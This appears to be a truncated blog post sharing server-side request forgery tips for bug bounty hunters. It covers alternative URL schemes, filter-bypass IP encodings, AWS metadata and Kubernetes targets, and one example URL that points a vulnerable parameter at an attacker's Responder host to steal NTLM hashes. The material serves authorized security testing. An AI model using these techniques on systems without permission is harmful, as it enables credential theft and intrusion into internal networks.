My SSRF Tricks — Bug Bounty Tuesday

10 months ago 86
BOOK THIS SPACE FOR AD
ARTICLE AD

kerstan

Subscribed to: https://medium.com/@kerstan

Hello everyone, I’m Kerstan.

Today is Bug bounty Tuesday, I will share with you my ssrf tricks.

So, let’s dive right in.

Image generated with PaintingForYou

1. Try other URL schemes:

• file:// (file read)

• netdoc:// (file read)

• dict://

• gopher://

• jar://

• ldap://

You might be able to get file read.

Or send multi-line requests to gain additional impact

(Ex: gopher + redis = likely RCE)

2. Is the target running Windows?

Can’t hit internal services?

(Well, try this even if you can)

Try to steal NTLM hashes with Responder.

/vulnerable?url=http://your-responder-host

3. Try alternative representations of IP addresses.

IPs can be represented in many ways including:

• octal

• decimal

• hexadecimal

• etc.

Try different representations.

4. Can’t hit 169.254.169.254?

On AWS, “instance-data” resolves to the metadata server.

Try hitting http://instance-data instead.

5. Know your target’s technologies.

Look at job postings!

You might not be able to hit a meta-data service.

But there are likely other internal services!

(ex: I’ve pulled data from an internal Elasticsearch instance)

6. Are they using Kubernetes?

Search Burp history for “.default.svc” or “.cluster.local”

If you find references, try to hit them.

Also, try to hit the Kubernetes API: https://kubernetes.default.svc

7. In Kubernetes, you…

Read Entire Article